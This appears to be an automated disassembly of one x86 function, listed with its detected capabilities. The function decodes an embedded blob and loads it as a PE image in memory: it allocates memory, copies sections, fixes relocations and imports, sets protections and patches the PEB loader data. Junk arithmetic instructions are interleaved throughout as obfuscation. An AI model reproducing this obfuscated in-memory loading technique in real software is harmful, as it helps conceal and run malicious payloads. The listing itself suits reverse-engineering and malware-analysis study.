Function at 0x4014a0
Capabilities:
Access peb ldr_data
Create thread
Encode data using base64
Enumerate pe sections
Get ntdll base address
Get number of processors
Inspect section memory permissions
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
mov eax, 0x55b24
call fcn.00404300
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0x55a10]
lea eax, [0x4123b8]
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x55a00
call fcn.00404e70
neg eax
rol edx, 0xa1
sub esi, 0xd5
add esi, 0x88
inc edi
not edx
inc ebx
bswap esi
bswap edi
ror edx, 0x46
neg ebx
rcr edi, 0x60
neg esi
bswap esi
imul edx
bswap esi
or ebx, 0x50
dec esi
bswap eax
imul ebx
and edi, 2
inc edi
imul edx
or edi, 0xd7
add esi, 0x1f
add edx, 0x59
bswap esi
bswap edx
bswap ebx
rol esi, 0xdb
sbb ebx, 0x2a
sub edi, 0xe3
inc edx
neg esi
rcl ebx, 0x8e
inc esi
neg edi
mov esi, 6
add ebx, 0x58
not ebx
bswap edx
imul esi
not ebx
not ebx
neg eax
neg ebx
rcl esi, 0xcc
dec ebx
mov edx, 0x5c
or esi, 0xe2
sub edx, 0x17
inc edi
rol eax, 7
not edi
not esi
sub edx, 0x32
inc esi
bswap edx
imul edi
rcr edi, 0xa9
not eax
or edi, 0xb5
bswap esi
inc ebx
inc ebx
neg eax
inc edi
ror edx, 0x65
ror ebx, 0x99
and edi, 7
bswap edi
or edi, 0xf4
dec edi
and ebx, 0xa0
and esi, 0xa4
or eax, 0xb0
inc ebx
dec ebx
rcl eax, 0x46
sbb eax, 0x8b
add ebx, 0xdf
imul edi
and ebx, 0xe9
inc esi
bswap esi
and edi, 0x64
rcr edi, 0xf
dec eax
sub eax, 0x17
sub ebx, 0x72
bswap ebx
not eax
rcr edx, 0xdc
dec edx
rcr esi, 0x6c
imul ebx
imul ebx
imul edi
mov edx, 0x31
inc edi
not ebx
sbb eax, 0xf4
inc ebx
dec esi
inc esi
inc edx
rcl esi, 0xc3
ror eax, 0x93
not ebx
rcr edx, 0xcf
inc ebx
rol ebx, 0x4c
sbb ebx, 0xf
ror eax, 0xb5
not edi
not edi
add esi, 0xd5
rcl ebx, 0xae
neg esi
neg eax
sbb edi, 0xc
and eax, 7
dec edi
rcr edx, 0x3f
dec edx
bswap edi
add edx, 0x30
or edi, 0x39
or edx, 0x9b
ror edi, 0x1f
or edx, 0xf9
neg ebx
imul esi
mov edx, 0x61
neg ebx
add edx, 0xc1
inc eax
or ebx, 0xc6
not ebx
rcl eax, 0x44
inc ebx
imul ebx
neg eax
bswap edx
sbb edx, 0xdc
bswap esi
dec edi
imul edi
sbb edi, 0xdc
dec esi
rcl edx, 0xb5
sbb edx, 0xa1
and edi, 0x61
neg ebx
inc edi
rcr esi, 0x3d
not edi
sbb eax, 0x8d
bswap edi
ror eax, 0x49
bswap edx
ror eax, 0xf3
rcl edi, 0xa0
sub edx, 0x20
rcr esi, 0x4e
or ebx, 0x91
rcr eax, 0xd7
imul esi
or eax, 0xc
inc ebx
rol eax, 0x91
or ebx, 0x7e
sub edx, 0xba
neg eax
not esi
bswap esi
inc edx
rcl eax, 0x47
rol edi, 0x92
dec ebx
neg edi
bswap ebx
rcr edx, 0x4c
or ebx, 0x2e
dec eax
inc edx
bswap ebx
inc eax
bswap eax
add edi, 0xe1
and ebx, 0x9a
and eax, 0x73
neg edi
neg eax
or ebx, 0xf1
bswap eax
or esi, 0x2f
add edx, 0xc7
and edx, 0x78
add edx, 0xdd
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x55a10]
mov dword [esp], eax
mov dword [esp + 4], 0x55a00
call fcn.00401000
lea eax, [ebp - 0x55a10]
mov dword [ebp + 8], eax
or esi, 0xfa
sbb edx, 0xf2
or edi, 0x8a
bswap edx
add edx, 0xba
bswap esi
imul ebx
add edi, 5
add ebx, 0x53
neg esi
bswap edi
add edx, 0x4a
or edi, 0x65
rol edx, 0x1f
imul eax
mov ebx, 0x9b
imul esi
inc eax
add eax, 0xe4
imul eax
bswap ebx
add edx, 0x12
sub edi, 0x86
not ebx
neg eax
sbb edx, 0x8e
neg edx
bswap ebx
inc edx
mov edx, 1
ror esi, 0xbb
sub ebx, 7
and edx, 0xd
rol ebx, 0xf1
neg edi
bswap ebx
rcl esi, 0x12
neg edi
inc ebx
not edi
imul eax
neg edi
inc ebx
rcr eax, 0x52
ror edx, 0xa8
imul ebx
bswap ebx
dec edi
neg edi
rcr ebx, 0xb7
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x55a14], eax
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x55a14]
add eax, dword [ecx + 0x3c]
mov dword [ebp - 0x55a18], eax
mov eax, dword [ebp - 0x55a18]
cmp dword [eax], 0x4550
je 0x4017e5
mov dword [ebp - 0x10], 1
jmp 0x402d0d
mov eax, dword [ebp - 0x55a18]
mov ecx, dword [eax + 0xa0]
mov dword [ebp - 0x55a20], ecx
mov eax, dword [eax + 0xa4]
mov dword [ebp - 0x55a1c], eax
mov eax, dword [ebp - 0x55a18]
mov eax, dword [eax + 0x50]
mov dword [ebp - 0x55b14], eax
cmp dword [ebp - 0x55a1c], 0
je 0x40182c
xor eax, eax
mov dword [ebp - 0x55b18], eax
jmp 0x40183b
mov eax, dword [ebp - 0x55a18]
mov eax, dword [eax + 0x34]
mov dword [ebp - 0x55b18], eax
mov eax, dword [ebp - 0x55b14]
mov ecx, dword [ebp - 0x55b18]
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x3000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
sub esp, 0x10
mov dword [ebp - 0x55a24], eax
cmp dword [ebp - 0x55a1c], 0
jne 0x40189b
mov eax, dword [ebp - 0x55a24]
mov ecx, dword [ebp - 0x55a18]
cmp eax, dword [ecx + 0x34]
je 0x40189b
mov dword [ebp - 0x10], 2
jmp 0x402d0d
mov edx, 0x59
add ebx, 0x5e
bswap esi
dec edi
rcl esi, 0x82
rol esi, 0xf1
dec edi
not edi
and edi, 0xa3
or esi, 0x7b
not edx
neg esi
rcl edx, 0xf4
rol esi, 0xbc
rcl edi, 0xf7
or ebx, 0x8d
ror edi, 0xaa
mov eax, 0x53
inc edx
mov ebx, 0x49
or edi, 0x86
or eax, 0x20
add edx, 0x5f
rcr esi, 0xf0
neg esi
rol ebx, 0x86
dec edi
not edi
and eax, 0xba
and ebx, 0xcf
add edi, 0xb5
imul edi
dec edi
imul edx
imul ebx
rcr edi, 0xaa
or edi, 0xc9
inc eax
neg edi
rcl esi, 0x78
and esi, 0x81
or edx, 0xfe
sub ebx, 0xc5
not esi
rcr edx, 0xbd
not edi
inc eax
ror edx, 0xc5
bswap esi
sub esi, 0xbf
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x55a24]
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x400
call fcn.00401470
not edi
rcl eax, 0x28
rcl esi, 0xfd
bswap esi
and eax, 0xf0
neg esi
or edx, 0xa
neg ebx
rcr eax, 1
imul edi
rcl ebx, 0x65
sbb eax, 0xc7
not esi
rcl esi, 0x22
sub eax, 0x80
imul ebx
and edi, 0xe6
not eax
and esi, 0x35
sub edx, 0xe9
imul ebx
or edx, 0xef
rcl edi, 0x85
neg edx
bswap esi
inc edx
ror ebx, 0x50
rcr ebx, 0xe0
dec esi
dec ebx
rol eax, 0x94
rol esi, 0xc3
inc ebx
ror edi, 0x1a
dec eax
ror eax, 0xa0
not eax
sub eax, 0x63
rcr esi, 0x97
bswap esi
dec ebx
neg edi
rcl edi, 0xfe
inc esi
dec edx
not esi
inc edx
imul ebx
sbb eax, 0xfd
inc eax
neg ebx
neg edi
and edx, 0xa
or ebx, 0x99
neg esi
imul esi
sub ebx, 0x4d
ror eax, 0x93
imul eax
ror eax, 0xcf
imul eax
rcl eax, 0xd1
rcr edi, 0x20
neg esi
rcl edx, 0xbc
dec edx
rcl ebx, 0xf3
imul edx
inc esi
neg esi
inc ebx
sbb esi, 0x16
dec esi
dec ebx
sbb esi, 0x12
not edx
dec eax
sbb eax, 0xdf
dec edi
dec eax
sbb ebx, 0x3e
sbb edx, 0x31
not eax
dec esi
not edx
mov edi, 7
bswap edx
neg ebx
bswap esi
inc eax
bswap eax
rol edi, 0xd8
bswap ebx
dec ebx
rol edi, 0xae
dec eax
neg eax
rol edi, 0xf0
rcr edi, 0xae
not edi
and eax, 0x10
inc ebx
neg esi
ror ebx, 0x26
imul esi
mov eax, 0xaf
dec esi
or eax, 0xb
not edi
dec edx
imul esi
sbb edx, 0x56
and edi, 0x41
rcl edx, 0x92
and ebx, 0xe0
ror edx, 0x4a
sub edx, 0x9e
rcl eax, 0x27
rcl edx, 0x28
and eax, 9
imul edx
dec edx
imul edi
dec edx
dec esi
mov ebx, 0xe1
bswap edi
or edx, 0x5e
dec eax
neg edi
dec esi
sbb edi, 0x76
not ebx
or eax, 0x91
rcl esi, 0x5b
imul edi
sbb edx, 0x8f
bswap edx
rol eax, 0x10
ror edx, 0xd2
or esi, 0xc0
imul edx
inc esi
bswap ebx
mov edi, 0x85
neg eax
and esi, 0x45
bswap edi
inc edx
not esi
inc edi
sub ebx, 0xcc
inc edx
sub esi, 0xcd
neg edi
dec esi
dec eax
sbb edx, 0x5e
or edi, 0xee
ror esi, 0x47
imul edx
sbb edx, 0x52
inc edx
inc eax
rcr edx, 0xae
neg edi
bswap edx
neg edx
neg edi
dec edi
and esi, 0xcc
bswap eax
rcr ebx, 0xf4
neg ebx
inc edi
and edi, 0x3e
bswap edx
inc ebx
imul esi
not esi
rol esi, 0x6b
and esi, 0x67
add esi, 0x9a
sub eax, 0x9f
mov ebx, 0xa5
bswap eax
bswap edi
dec eax
dec edx
inc eax
add edi, 0x5b
sbb edi, 0x8f
imul eax
mov edx, 0x79
ror esi, 0xdb
neg edi
and esi, 0xc4
inc edi
rcl edx, 0xa4
not edi
imul edi
inc edx
dec edx
dec edx
bswap edi
mov esi, 0x2c
ror eax, 0xd3
add edi, 0x6a
inc eax
neg edi
inc eax
ror edi, 0xeb
ror esi, 0xd3
neg ebx
bswap eax
ror edi, 0xa8
and edx, 0xf7
or edi, 0xca
dec ebx
bswap esi
neg esi
sbb edi, 0x20
add esi, 0xbf
add edx, 0xc9
or eax, 0xfb
inc edx
add eax, 0xb0
dec esi
rcr esi, 0xc9
or edx, 0x3e
not ebx
and eax, 0xa2
imul eax
sub edi, 0x74
and edx, 0x9b
rcr edx, 6
inc edi
sub edx, 0xfa
bswap edi
and ebx, 0xad
sbb ebx, 0x2d
inc esi
rcr eax, 0xbe
mov eax, 0xdd
rol eax, 0x10
or edx, 0xe0
or ebx, 0xd
not edx
rol ebx, 0x2a
rcr esi, 0xe8
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x55a18]
add eax, 0x18
mov ecx, dword [ebp - 0x55a18]
movzx ecx, word [ecx + 0x14]
add eax, ecx
mov dword [ebp - 0x55a28], eax
mov dword [ebp - 0x55a2c], 0
mov eax, dword [ebp - 0x55a2c]
mov ecx, dword [ebp - 0x55a18]
movzx ecx, word [ecx + 6]
cmp eax, ecx
jge 0x401c99
mov eax, dword [ebp - 0x55a28]
imul ecx, dword [ebp - 0x55a2c], 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 0x55a28]
imul esi, dword [ebp - 0x55a2c], 0x28
add edx, esi
add ecx, dword [edx + 0x14]
mov edx, dword [ebp - 0x55a24]
mov esi, dword [ebp - 0x55a28]
imul edi, dword [ebp - 0x55a2c], 0x28
add esi, edi
add edx, dword [esi + 0xc]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.00401470
mov eax, dword [ebp - 0x55a2c]
add eax, 1
mov dword [ebp - 0x55a2c], eax
jmp 0x401c1e
mov esi, 0xf9
imul ebx
bswap eax
neg ebx
inc eax
not esi
sbb edi, 0xd6
dec eax
bswap eax
or ebx, 0x10
bswap ebx
ror eax, 0xcf
sbb edx, 0xa5
mov ebx, 0x22
imul eax
add ebx, 0x74
bswap edi
add esi, 0xcd
mov edi, 0x1f
inc edx
imul ebx
or edi, 0x6b
sub esi, 0xb7
inc esi
and eax, 0x3d
inc esi
not esi
sbb esi, 0xf8
rcr esi, 0xba
neg edx
sub ebx, 0xb5
ror esi, 0xf2
rcl ebx, 6
mov eax, 0x45
or edi, 0x18
neg ebx
rcr eax, 0xad
rcl edi, 0x2f
ror esi, 6
dec ebx
or esi, 0x51
and edx, 0xae
not esi
mov eax, 0x18
dec eax
and eax, 0x43
dec eax
dec edx
add edi, 0xd8
sbb ebx, 0x31
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x55a24]
mov ecx, dword [ebp - 0x55a18]
cmp eax, dword [ecx + 0x34]
je 0x401e67
mov eax, dword [ebp - 0x55a24]
mov ecx, dword [ebp - 0x55a18]
sub eax, dword [ecx + 0x34]
mov dword [ebp - 0x55a30], eax
mov eax, dword [ebp - 0x55a24]
add eax, dword [ebp - 0x55a20]
mov dword [ebp - 0x55a34], eax
mov dword [ebp - 0x55a38], 0
mov eax, dword [ebp - 0x55a38]
cmp eax, dword [ebp - 0x55a1c]
jae 0x401e62
mov eax, dword [ebp - 0x55a24]
mov ecx, dword [ebp - 0x55a34]
add eax, dword [ecx]
mov dword [ebp - 0x55a3c], eax
mov eax, dword [ebp - 0x55a34]
mov eax, dword [eax + 4]
sub eax, 8
shr eax, 1
mov dword [ebp - 0x55a40], eax
mov eax, dword [ebp - 0x55a34]
add eax, 8
mov dword [ebp - 0x55a44], eax
mov dword [ebp - 0x55a48], 0
mov eax, dword [ebp - 0x55a48]
cmp eax, dword [ebp - 0x55a40]
jge 0x401e3c
mov eax, dword [ebp - 0x55a44]
movzx eax, word [eax]
sar eax, 0xc
and eax, 3
cmp eax, 0
je 0x401e19
mov ecx, dword [ebp - 0x55a30]
mov eax, dword [ebp - 0x55a3c]
mov edx, dword [ebp - 0x55a44]
movzx edx, word [edx]
and edx, 0xfff
add eax, edx
add ecx, dword [eax]
mov dword [eax], ecx
mov eax, dword [ebp - 0x55a44]
add eax, 2
mov dword [ebp - 0x55a44], eax
mov eax, dword [ebp - 0x55a48]
add eax, 1
mov dword [ebp - 0x55a48], eax
jmp 0x401dce
mov eax, dword [ebp - 0x55a34]
mov eax, dword [eax + 4]
add eax, dword [ebp - 0x55a38]
mov dword [ebp - 0x55a38], eax
mov eax, dword [ebp - 0x55a44]
mov dword [ebp - 0x55a34], eax
jmp 0x401d7b
jmp 0x401e67
dec ebx
neg edx
imul esi
dec edx
neg edx
dec esi
bswap esi
imul esi
or esi, 0xbe
not ebx
not edi
bswap ebx
bswap esi
imul ebx
ror edi, 0x5b
neg eax
rcl edi, 0xb1
imul esi
rcl ebx, 0x65
rcl ebx, 0x7a
ror edi, 0x24
inc edx
mov ebx, 0x7f
rcr ebx, 0xd1
dec edi
rcr esi, 0x36
dec ebx
imul edx
rcr eax, 0x37
mov ebx, 1
dec eax
rcl edx, 0xd4
mov edi, 0x29
bswap eax
rcl eax, 0xea
add ebx, 0x5f
or esi, 0xc2
inc eax
neg eax
sbb edi, 0x13
and esi, 0x6c
neg ebx
rol edx, 0xcb
mov eax, 0x43
dec esi
rcr eax, 0x71
not edi
sub ebx, 0x9d
dec edi
rcr eax, 0x77
neg edx
neg ebx
ror ebx, 0x53
sub ebx, 0xe2
ror ebx, 0xb5
inc edi
add eax, 0x4a
sub esi, 0x2d
neg esi
bswap eax
sub edi, 0x9e
dec edi
sbb eax, 0x75
rol edi, 0xe9
imul edx
neg edx
and esi, 0x75
ror eax, 0xf5
imul esi
neg ebx
inc edx
dec eax
bswap edi
and esi, 0x45
add ebx, 0x17
ror eax, 0xc7
rol ebx, 0xb0
sbb edx, 0x12
rcr ebx, 0xbc
bswap edi
inc ebx
bswap edx
bswap eax
not esi
rol eax, 0x73
inc esi
rcl edx, 0xa6
not esi
neg eax
and esi, 0xca
inc edx
rol ebx, 0xe2
and eax, 0xc3
ror edi, 0x92
mov esi, 0x83
inc eax
bswap esi
sub edx, 0x24
bswap edx
not edi
rcr edx, 0x56
add ebx, 0x85
rcl ebx, 0xad
neg edx
add ebx, 1
ror edi, 0xb7
bswap eax
neg eax
dec esi
and edi, 0x7f
neg edi
bswap esi
dec ebx
bswap esi
imul eax
dec edi
not ebx
inc edi
not ebx
rol edi, 0xd7
or edx, 0x4a
not edi
add edi, 7
bswap edi
rcl edi, 0xec
not ebx
rcl eax, 0xa3
or edi, 0x9a
add ebx, 0x91
imul eax
neg edx
rcr edi, 0xd4
inc esi
not ebx
not esi
and ebx, 0x5b
rcr ebx, 0x21
rcl esi, 0x9e
imul eax
sbb esi, 0x4a
neg eax
imul eax
rcl edx, 0x41
imul edx
not edi
rol esi, 0x5f
and eax, 0x94
inc edi
neg eax
rcr eax, 0xdc
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x55a24]
mov ecx, dword [ebp - 0x55a18]
add eax, dword [ecx + 0x80]
mov dword [ebp - 0x55a4c], eax
mov dword [ebp - 0x55a50], 0
mov eax, dword [ebp - 0x55a4c]
imul ecx, dword [ebp - 0x55a50], 0x14
add eax, ecx
cmp dword [eax + 0x10], 0
je 0x402180
mov eax, dword [ebp - 0x55a24]
mov ecx, dword [ebp - 0x55a4c]
imul edx, dword [ebp - 0x55a50], 0x14
add ecx, edx
add eax, dword [ecx + 0xc]
mov dword [ebp - 0x55a54], eax
mov eax, dword [ebp - 0x55a54]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
sub esp, 4
mov dword [ebp - 0x55a58], eax
cmp dword [ebp - 0x55a58], 0
jne 0x40206f
jmp 0x40216c
mov eax, dword [ebp - 0x55a24]
mov ecx, dword [ebp - 0x55a4c]
imul edx, dword [ebp - 0x55a50], 0x14
add ecx, edx
add eax, dword [ecx + 0x10]
mov dword [ebp - 0x55a5c], eax
mov dword [ebp - 0x55a60], 0
mov eax, dword [ebp - 0x55a5c]
mov ecx, dword [ebp - 0x55a60]
cmp dword [eax + ecx*4], 0
je 0x402167
mov eax, dword [ebp - 0x55a24]
mov ecx, dword [ebp - 0x55a5c]
mov edx, dword [ebp - 0x55a60]
add eax, dword [ecx + edx*4]
mov dword [ebp - 0x55a64], eax
mov eax, dword [ebp - 0x55a5c]
mov ecx, dword [ebp - 0x55a60]
mov eax, dword [eax + ecx*4]
movzx eax, ax
mov ecx, dword [ebp - 0x55a58]
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
sub esp, 8
mov dword [ebp - 0x55a68], eax
cmp dword [ebp - 0x55a68], 0
jne 0x402128
mov eax, dword [ebp - 0x55a64]
add eax, 2
mov ecx, dword [ebp - 0x55a58]
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
sub esp, 8
mov dword [ebp - 0x55a68], eax
mov ecx, dword [ebp - 0x55a68]
mov eax, dword [ebp - 0x55a24]
mov edx, dword [ebp - 0x55a4c]
imul esi, dword [ebp - 0x55a50], 0x14
add edx, esi
add eax, dword [edx + 0x10]
mov edx, dword [ebp - 0x55a60]
shl edx, 2
add eax, edx
mov dword [eax], ecx
mov eax, dword [ebp - 0x55a60]
add eax, 1
mov dword [ebp - 0x55a60], eax
jmp 0x402097
jmp 0x40216c
mov eax, dword [ebp - 0x55a50]
add eax, 1
mov dword [ebp - 0x55a50], eax
jmp 0x40200e
mov dword [ebp - 0x55a70], 0
mov eax, dword [ebp - 0x55a70]
mov ecx, dword [ebp - 0x55a18]
movzx ecx, word [ecx + 6]
cmp eax, ecx
jge 0x40230c
mov dword [ebp - 0x55a74], 0x40
mov eax, dword [ebp - 0x55a28]
imul ecx, dword [ebp - 0x55a70], 0x28
add eax, ecx
mov eax, dword [eax + 0x24]
mov dword [ebp - 0x55a78], eax
mov eax, dword [ebp - 0x55a78]
and eax, 0x40000000
cmp eax, 0
je 0x40220f
mov eax, dword [ebp - 0x55a78]
and eax, 0x80000000
cmp eax, 0
je 0x40220f
mov eax, dword [ebp - 0x55a78]
and eax, 0x20000000
cmp eax, 0
je 0x40220f
mov dword [ebp - 0x55a74], 0x40
jmp 0x4022aa
mov eax, dword [ebp - 0x55a78]
and eax, 0x40000000
cmp eax, 0
je 0x402246
mov eax, dword [ebp - 0x55a78]
and eax, 0x80000000
cmp eax, 0
je 0x402246
mov dword [ebp - 0x55a74], 4
jmp 0x4022a5
mov eax, dword [ebp - 0x55a78]
and eax, 0x40000000
cmp eax, 0
je 0x40227d
mov eax, dword [ebp - 0x55a78]
and eax, 0x20000000
cmp eax, 0
je 0x40227d
mov dword [ebp - 0x55a74], 0x20
jmp 0x4022a0
mov eax, dword [ebp - 0x55a78]
and eax, 0x40000000
cmp eax, 0
je 0x40229b
mov dword [ebp - 0x55a74], 2
jmp 0x4022a0
jmp 0x4022a5
jmp 0x4022aa
mov ecx, dword [ebp - 0x55a74]
mov eax, dword [ebp - 0x55a28]
imul edx, dword [ebp - 0x55a70], 0x28
add eax, edx
mov edx, dword [eax + 8]
mov esi, dword [ebp - 0x55a24]
mov eax, dword [ebp - 0x55a28]
imul edi, dword [ebp - 0x55a70], 0x28
add eax, edi
add esi, dword [eax + 0xc]
lea eax, [ebp - 0x55a6c]
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
mov eax, dword [ebp - 0x55a70]
add eax, 1
mov dword [ebp - 0x55a70], eax
jmp 0x40218a
ror ebx, 0xcc
imul esi
ror edi, 0x7c
dec edx
mov ebx, 9
rol ebx, 0xd3
ror esi, 0x31
rcr eax, 0x60
not edi
bswap edx
bswap edx
rol eax, 0xfb
inc edi
imul edi
bswap ebx
imul edx
sub ebx, 0xd5
sbb ebx, 0x44
ror edx, 0xe4
neg esi
neg eax
mov edi, 0x7e
mov ebx, 0x95
add edi, 0x82
not edi
sbb eax, 0x74
imul eax
rcr edi, 0xc0
and edi, 0x62
neg edx
sub edi, 0x11
sub esi, 0x52
sbb edi, 0xc8
imul edi
ror edi, 0x12
neg ebx
imul esi
neg esi
sbb edi, 0xe8
ror esi, 0xee
neg ebx
neg ebx
dec eax
rol esi, 0x70
rcr ebx, 0xa
or edx, 0x5e
dec eax
rol edi, 0x47
neg edx
rcl edi, 5
dec esi
rol eax, 0x52
or esi, 0x6b
or esi, 0xfc
dec edx
and eax, 0x49
bswap ebx
imul eax
ror edi, 0xf1
or esi, 0x6e
not esi
bswap ebx
dec edx
add eax, 0x73
bswap edi
dec edi
inc esi
rcl eax, 0xfa
add eax, 7
ror eax, 0x85
inc ebx
dec edx
rcl edi, 0x9e
sbb ebx, 0xd5
sub edx, 0x20
dec edx
sub eax, 0xa6
rol eax, 0xfa
imul eax
dec edx
rcl esi, 0xe0
inc eax
rcl edx, 0x85
inc eax
imul ebx
bswap edx
bswap edi
rcr eax, 0x22
rcr edx, 0x46
sub ebx, 0xb
not edi
imul esi
mov ebx, 0x2f
or edi, 0x1e
add eax, 0x25
not edx
and edx, 0xe7
rcr ebx, 4
inc eax
mov eax, 0x1e
and esi, 0xaa
or eax, 0xaf
rcl edx, 1
imul esi
ror esi, 0x85
sub eax, 0xe6
rol esi, 0xe9
and eax, 0x4a
imul ebx
imul edi
not esi
rcr edi, 0x70
dec edx
sbb edx, 0x53
add eax, 7
imul ebx
ror edi, 0xe9
mov esi, 0xdc
bswap esi
neg edi
neg edx
imul ebx
ror ebx, 0x9c
rol eax, 0xe6
bswap esi
add edi, 0x62
sub esi, 0xc0
dec ebx
sbb ebx, 0x7d
imul ebx
ror esi, 0x91
add edx, 0x65
mov ebx, 0xde
bswap eax
add ebx, 0x92
imul eax
sub edi, 0xcb
not esi
neg eax
rcr edx, 0xd
dec ebx
bswap eax
dec eax
inc edx
or edi, 0x6b
neg eax
rcr eax, 0x1b
neg ebx
or esi, 0x7e
and edx, 0x70
mov dword [ebp - 0x10], eax
mov eax, dword fs:[0x30]
mov dword [ebp - 0x55a7c], eax
mov eax, dword [ebp - 0x55a7c]
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x55a80], eax
mov eax, dword [ebp - 0x55a80]
mov eax, dword [eax + 0x14]
sub eax, 8
mov dword [ebp - 0x55a84], eax
rol eax, 0xaa
and edi, 0xec
neg ebx
bswap eax
not edx
ror edx, 0xd5
dec eax
rcl eax, 0x38
sub esi, 0x13
sbb esi, 0x75
neg edx
rcr ebx, 0x3c
or esi, 0xe6
not ebx
inc edx
bswap edi
and eax, 0x81
not esi
rcl ebx, 0xf5
mov edi, 0xc6
inc eax
inc edi
imul edi
sbb esi, 0x79
neg ebx
sub ebx, 0xc4
neg esi
bswap esi
rcl ebx, 0xb5
add edx, 0xaa
dec esi
bswap edx
mov edx, 0x1a
rol ebx, 0xac
neg edx
imul edi
neg ebx
not edx
not edx
inc esi
neg edi
dec ebx
imul edx
and edx, 0x1d
dec edx
add ebx, 0xdd
sbb edx, 0xe7
not edi
and eax, 0x3f
ror edx, 0xe3
sub edi, 0x76
bswap edx
not ebx
neg edi
sbb esi, 0xea
imul edx
imul edi
sub esi, 0x84
inc ebx
sbb ebx, 0xf0
rcr edx, 0xb4
not eax
inc esi
dec eax
mov esi, 0x16
rol ebx, 0x3c
not ebx
neg edi
bswap edi
rcr edi, 0xfe
bswap edi
not ebx
sbb esi, 0x7e
imul edx
bswap eax
and edx, 0x51
ror ebx, 0x70
rcl edx, 0x41
dec eax
and eax, 0x2e
rcr esi, 0xaf
dec ebx
or edx, 0x46
sbb edx, 0x9b
not edi
imul eax
rcr edi, 0x9f
sbb eax, 0xa
add eax, 0x70
neg esi
imul eax
add esi, 0x23
ror esi, 0xca
add ebx, 0x97
inc esi
mov eax, 0x7f
or esi, 0xe5
imul esi
not esi
ror ebx, 0xf6
not ebx
or eax, 0x5e
or edx, 0x87
rol ebx, 0x9f
sub esi, 0x65
imul edx
sbb edx, 0x54
sub ebx, 0x4b
not esi
dec ebx
or ebx, 0x40
rol edi, 0x31
rol esi, 0xbb
and edi, 0xa7
and eax, 0x90
not ebx
or ebx, 7
sub ebx, 0xc5
mov esi, 0x10
rcl esi, 0x4a
inc ebx
inc ebx
mov edx, 0xda
and eax, 0x49
rcl edi, 0x5e
ror ebx, 0x4c
dec eax
imul ebx
sbb esi, 0x25
sbb edi, 0x78
rol edx, 0x7e
mov edx, 0x38
rol eax, 0xb3
rcl esi, 0xa1
neg eax
rcl ebx, 0x9c
dec eax
neg edx
rol esi, 0xca
or edi, 0x60
rol edi, 0x23
imul edx
rcr edx, 3
dec eax
sub edx, 0x6b
bswap esi
neg eax
dec ebx
or edx, 0x74
add edx, 0xf0
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x55a24]
mov eax, dword [ebp - 0x55a7c]
mov dword [eax + 8], ecx
mov ecx, dword [ebp - 0x55a24]
mov eax, dword [ebp - 0x55a84]
mov dword [eax + 0x18], ecx
mov eax, dword [ebp - 0x55a84]
add eax, 0x24
mov dword [ebp - 0x55a88], eax
imul esi
neg edx
rol esi, 7
neg edx
rcl ebx, 0x96
rol ebx, 3
rcl eax, 0xf4
inc edi
imul edi
bswap edx
dec eax
not edi
ror eax, 0x53
ror eax, 0xb6
inc eax
neg eax
ror edi, 0x10
rcr edi, 0x29
add ebx, 0xa8
rcr esi, 0xac
neg esi
neg edi
or edx, 0xe9
rcr edx, 0x88
and edx, 0x98
rcl edx, 0x16
dec edi
dec eax
not esi
and edi, 0x65
rcr edx, 0xc3
dec esi
neg edi
add esi, 0x74
neg esi
rol eax, 0xfc
neg ebx
inc eax
bswap eax
bswap esi
add eax, 0x27
neg ebx
not esi
neg esi
or edi, 0xe4
neg esi
ror edx, 0x5a
rol eax, 0xbc
rcr ebx, 0xdd
not esi
imul edi
imul eax
dec esi
imul eax
rcl esi, 0xd3
sbb ebx, 0x30
mov eax, 4
sub eax, 0x3d
mov ebx, 0x1a
rol eax, 0x22
bswap edi
mov ebx, 0x20
sbb esi, 0xed
or eax, 0x58
and edx, 0xb9
and eax, 0x94
rcl edi, 0x67
add ebx, 0xa2
imul edx
and eax, 0x54
ror ebx, 0xd6
sbb eax, 0xda
imul eax
sbb esi, 0xd5
neg esi
sub edx, 0xde
not edx
sbb edx, 0x62
add edx, 0xf8
not edx
bswap eax
neg esi
mov edx, 0xdd
dec esi
ror edi, 0xa1
bswap edx
sbb edi, 0x4f
ror eax, 0x3a
add ebx, 3
sub esi, 0x71
add edx, 0x6b
ror edx, 0x6c
bswap edx
bswap eax
imul edx
neg esi
or esi, 0xe8
rol ebx, 0x32
sbb esi, 0xcc
not ebx
sbb edi, 0xc8
neg esi
or eax, 0xf6
sub ebx, 0x30
sub ebx, 0x5a
imul edx
bswap eax
imul eax
mov eax, 0xe2
dec edi
dec eax
rol edi, 0xeb
ror esi, 0xf6
bswap edi
sub esi, 0x50
sub esi, 0xe5
dec esi
rcl ebx, 0x29
rol edx, 0xe4
bswap eax
mov eax, 0x3d
rcl edx, 0xf7
sbb edi, 0xe
or ebx, 0x85
rcr edi, 0x67
neg ebx
rcr edx, 0x86
dec ebx
dec eax
bswap eax
sub ebx, 0xb3
neg ebx
not ebx
and ebx, 0x67
imul edi
imul ebx
or eax, 0x7c
rol edx, 0xd0
neg esi
imul esi
ror ebx, 0x6f
bswap edx
inc eax
dec eax
imul ebx
or eax, 0x98
